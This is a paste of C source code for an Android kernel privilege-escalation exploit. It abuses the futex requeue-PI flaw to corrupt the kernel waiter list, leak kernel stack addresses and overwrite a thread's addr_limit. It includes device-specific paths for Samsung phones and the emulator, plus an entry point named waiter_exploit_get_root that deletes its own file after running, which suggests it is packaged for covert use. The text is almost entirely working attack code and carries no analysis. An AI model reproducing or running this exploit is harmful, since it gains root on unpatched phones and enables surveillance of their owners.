- *((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev
- // Alternative list
- *((unsigned long *)(hacked_node - 4)) = 0x81;
- *((unsigned long *) hacked_node) = hacked_node + 0x20;
- *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
- *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
- *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
- *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
- }
- void reset_hacked_list(unsigned long hacked_node) {
- *((unsigned long *)(hacked_node - 4)) = 0x81;
- *((unsigned long *) hacked_node) = hacked_node + 0x20;
- *((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
- *((unsigned long *)(hacked_node + 0x1c)) = 0x85;
- *((unsigned long *)(hacked_node + 0x24)) = hacked_node;
- *((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
- }
- void *trigger(void *arg) {
- int ret;
- unsigned long readval;
- pid_t pid;
- int i, k;
- char buf[0x1000];
- int tid_counter = 0;
- unsigned int addr, setaddr;
- setpriority(PRIO_PROCESS, 0, 5);
- LOGD("[TRIGGER] Trigger pid %x\n", gettid());
- // Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue
- syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
- // Now requeue the stack_modifier thread from lock1 to lock2
- while (1) {
- ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
- if (ret == 1) {
- LOGD("[TRIGGER] Stack modifier requeued\n");
- break;
- }
- usleep(10);
- }
- // Add a couple of waiters in the vulnerable kernel list
- wake_actionthread(3);
- pid6 = wake_actionthread(6);
- pid7 = wake_actionthread(7);
- // Now lock2 has this wait list: |6|<->|7|<->|12|
- lock2 = 0;
- // Trigger the vulnerability: requeue the stack modifier from lock2 to lock2
- syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);
- // If everything went as expected at this point the stack modifier is going tu use a syscall to modify
- // the wait list for lock2
- // Be sure he finished
- sleep(2);
- // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list
- // We can now start the list manipulation creating new node controlled by us
- // We build two chain: hacked_node and hacked_node_alt
- // Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev
- // could be switched.
- create_hacked_list(hacked_node, hacked_node_alt);
- // Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|
- // with waiters with prio 9 and 13 in our userspace
- // Lets do something of interesting. Add a waiter and check wich list we are using.
- readval = *((unsigned long *)hacked_node);
- tid_11 = wake_actionthread(11);
- if (*((unsigned long *)hacked_node) == readval) {
- LOGD("[TRIGGER] Using hacked_node_alt.\n");
- hacked_node = hacked_node_alt;
- }
- // Is it patched?
- if (*((unsigned long *)hacked_node) == readval) {
- LOGD("[TRIGGER] Device seams to be patched.\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- // Save the waiter address
- t11 = *((unsigned long *)hacked_node);
- // Try to find a thred we can hack
- for(k=0; k<20; k++) {
- is_kernel_writing = (pthread_mutex_t *)malloc(4);
- pthread_mutex_init(is_kernel_writing, NULL);
- // Reset the hacked list
- reset_hacked_list(hacked_node);
- // Leak a kernel stack pointer (a new created waiter)
- pid = wake_actionthread(11);
- // Now we have the pointer of a waiter allocated on the stack. We can calculate the
- // thread_info struct in the kernel for that last called thread
- first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
- LOGD("[TRIGGER] Send a signal to the first evil thread\n");
- pthread_mutex_lock(&is_thread_awake_lock);
- kill(pid, 12);
- pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
- pthread_mutex_unlock(&is_thread_awake_lock);
- LOGD("[TRIGGER] First evil thread is now waiting\n");
- sleep(1);
- LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);
- // Samsung exploitation
- if(current_cfg->is_samsung) {
- LOGD("[TRIGGER] Starting samsung...\n");
- addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- LOGD("[TRIGGER] mmap done\n");
- if (addr != 0xbef000) {
- continue;
- }
- reset_hacked_list(0xbeffe0);
- reset_hacked_list(hacked_node);
- *((unsigned long *)0xbf0004) = first_kstack_base + current_cfg->offset + 1;
- *((unsigned long *)hacked_node) = 0xbf0000;
- // Keep trace of the pending waiters
- remove_pid[remove_counter] = wake_actionthread(10);
- readval = *((unsigned long *)0x00bf0004);
- remove_waiter[remove_counter] = readval;
- remove_counter++;
- munmap((unsigned long *)0xbef000, 0x2000);
- LOGD("[TRIGGER] First step done: %x\n", readval);
- readval <<= 8;
- if (readval < KERNEL_START) {
- setaddr = (readval - 0x1000) & 0xfffff000;
- addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- if (addr != setaddr) {
- continue;
- }
- reset_hacked_list(readval - 0x20);
- *((unsigned long *)(readval + 4)) = first_kstack_base + current_cfg->offset;
- *((unsigned long *)hacked_node) = readval;
- remove_pid[remove_counter] = wake_actionthread(10);
- readval = *((unsigned long *)(readval + 4));
- // Save the waiter address
- remove_waiter[remove_counter] = readval;
- remove_counter++;
- munmap((unsigned long *)setaddr, 0x2000);
- LOGD("[TRIGGER] Samsung done: %x\n", readval);
- }
- }
- else {
- reset_hacked_list(hacked_node);
- // Use the prev pointer to execute a write in kernel space (the thread addr_limit)
- *((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;
- tid_12 = wake_actionthread(12); // Will be in the user space hacked list
- readval = *((unsigned long *)(hacked_node + 0x24));
- LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);
- remove_pid[remove_counter] = tid_12;
- remove_waiter[remove_counter] = readval;
- remove_counter++;
- }
- // At this point we have a thread with an addr_limit = readval waiting to write something to us.
- // Try to create a new thread to be modified by the first one
- for(i = 0; i < loop_limit; i++) {
- reset_hacked_list(hacked_node);
- pid = wake_actionthread(10); // Will be in the user space hacked list
- LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);
- // Be sure the first can modify the second one
- if (*((unsigned long *)hacked_node) < readval) {
- #ifdef DEBUG
- for(k = 0; k < remove_counter; k++) {
- LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);
- }
- #endif
- final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
- LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);
- LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);
- pthread_mutex_lock(&is_thread_awake_lock);
- kill(pid, 12);
- pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
- pthread_mutex_unlock(&is_thread_awake_lock);
- sleep(2);
- reset_hacked_list(hacked_node);
- // Now we have a thread waiting to write something in the second thread.
- // The second thread is waiting to receive a signal by the first one
- // Tell the first thread to hack the second one
- write(HACKS_fdm, buf, 0x1000);
- while (1) {
- sleep(10);
- }
- }
- if(current_cfg->force_remove) {
- // Trace the pending waiters
- remove_pid[remove_counter] = pid;
- remove_waiter[remove_counter] = *((unsigned long *)hacked_node);
- remove_counter++;
- }
- }
- }
- stop_for_error();
- }
- /**************/
- /*** MAIN *****/
- /**************/
- /// REMOTE and LIB: exploit as function
- #ifndef LOCAL
- int waiter_exploit_get_root(char *rcs_path, char *exp_path) {
- pthread_t l1, l2, l3;
- int ret = 0;
- memset(rcs, 0, sizeof(rcs));
- if(rcs_path)
- strncpy(rcs, rcs_path, sizeof(rcs));
- ///////////////////////////////////////
- /// LOCAL: exploit as executable
- #else
- int main(int argc, char **argv) {
- pthread_t l1, l2, l3;
- if(argc < 2)
- return -1;
- #endif
- // Check if we are trying to exploit a supported device
- switch(waiter_exploit_check_exploitability()) {
- case NO_SUPPORT:
- LOGD("[TOWEL] Device not supported.... exiting!\n");
- exit(0);
- break;
- case DEFAULT:
- LOGD("[TOWEL] Default device detected!\n");
- current_cfg = &default_kernel;
- break;
- case SAMSUNG:
- LOGD("[TOWEL] Samsung device detected!\n");
- current_cfg = &samsung_kernel;
- break;
- case SAMSUNG_OLD:
- LOGD("[TOWEL] Samsung old device detected!\n");
- current_cfg = &samsung_old_kernel;
- break;
- case SAM_GRAND:
- LOGD("[TOWEL] Samsung grand device detected!\n");
- current_cfg = &sam_grand_kernel;
- break;
- case GOLDFISH:
- LOGD("[TOWEL] Goldfish emulator detected!\n");
- current_cfg = &goldfish_kernel;
- break;
- case TEST:
- LOGD("[TOWEL] Test config detected!\n");
- current_cfg = &test_kernel;
- break;
- default:
- exit(0);
- }
- #ifdef LOCAL
- memset(shell_server, 0, sizeof(shell_server));
- strncpy(shell_server, argv[1], sizeof(shell_server));
- #endif
- pipe(pipe_fd);
- if(fork() != 0) {
- return start_pipe_server();
- }
- sleep(2);
- close(pipe_fd[0]);
- // First we create two possible hacked list of waiters.
- addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- addr += 0x800;
- hacked_node = addr;
- if ((long)addr >= 0) {
- LOGD("[TOWEL] first mmap failed?\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
- addr += 0x800;
- hacked_node_alt = addr;
- if (addr > 0x110000) {
- LOGD("[TOWEL] second mmap failed?\n");
- send_pipe_msg(ERROR);
- exit(-1);
- }
- // Start the socket server we will use to hook inside the sendmmsg syscall
- LOGD("[TOWEL] Creating socket\n");
- pthread_create(&l1, NULL, accept_socket, NULL);
- sleep(1);
- LOGD("[TOWEL] Starting exploitation\n");
- #ifndef LOCAL
- if(exp_path)
- remove(exp_path);
- #endif
- pthread_mutex_lock(&done_lock);
- pthread_create(&l2, NULL, stack_modifier, NULL);
- pthread_create(&l3, NULL, trigger, NULL);
- pthread_cond_wait(&done, &done_lock);
- LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());
- send_pipe_msg(ALL_DONE);
- sleep(1);
- exit(0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement